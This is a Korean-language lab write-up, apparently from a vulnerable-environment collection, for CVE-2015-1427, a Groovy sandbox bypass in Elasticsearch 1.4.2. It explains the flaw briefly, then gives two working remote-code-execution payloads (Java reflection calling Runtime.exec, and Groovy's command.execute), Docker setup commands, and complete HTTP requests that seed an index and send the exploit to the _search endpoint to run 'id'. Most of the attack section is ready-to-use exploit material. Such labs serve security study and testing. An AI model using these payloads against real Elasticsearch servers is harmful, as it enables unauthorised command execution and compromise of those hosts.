
CVE-2015-1427 ElasticSearch Groovy 샌드박스 우회 및 원격 코드 실행을 위한 Docker 기반 랩 환경으로, Java 리플렉션 및 Groovy 명령 실행을 통한 두 가지 POC 방법을 시연합니다.
jre 버전: openjdk:8-jre
elasticsearch 버전: v1.4.2
참고 문서:
CVE-2014-3120 이후, ElasticSearch의 기본 동적 스크립트 언어는 Groovy로 변경되었고 샌드박스가 추가되었지만, 기본적으로 동적 언어를 직접 실행하는 것을 여전히 지원합니다. 본 취약점: 1. 샌드박스 우회이며 2. Goovy 코드 실행 취약점입니다.
ElasticSearch는 "샌드박스에 있는" Groovy 언어를 동적 스크립트로 사용하는 것을 지원하지만, 공식적인 작업이 제대로 이루어지지 않은 것이 분명합니다. lupin과 tang3는 각각 두 가지 명령 실행 방법을 제안했습니다.
따라서 이 두 가지 취약점 실행 방식을 바탕으로 서로 다른 두 개의 POC를 얻을 수 있습니다.
Java 샌드박스 우회 방법:
java.lang.Math.class.forName("java.lang.Runtime").getRuntime().exec("id").getText()
Goovy 직접 명령 실행 방법:
def command='id';def res=command.execute().text;res
테스트 환경을 빌드하고 실행합니다.
docker-compose build
docker-compose up -d
쿼리 시 ES에 최소한 하나의 데이터가 필요하므로, 다음 데이터 패킷을 전송하여 데이터를 하나 추가합니다.
POST /website/blog/ HTTP/1.1
Host: your-ip:9200
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 25
{
"name": "test"
}
그런 다음 payload가 포함된 데이터 패킷을 전송하여 임의의 명령을 실행합니다.
POST /_search?pretty HTTP/1.1
Host: your-ip:9200
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/text
Content-Length: 156
{"size":1, "script_fields": {"lupin":{"lang":"groovy","script": "java.lang.Math.class.forName(\"java.lang.Runtime\").getRuntime().exec(\"id\").getText()"}}}
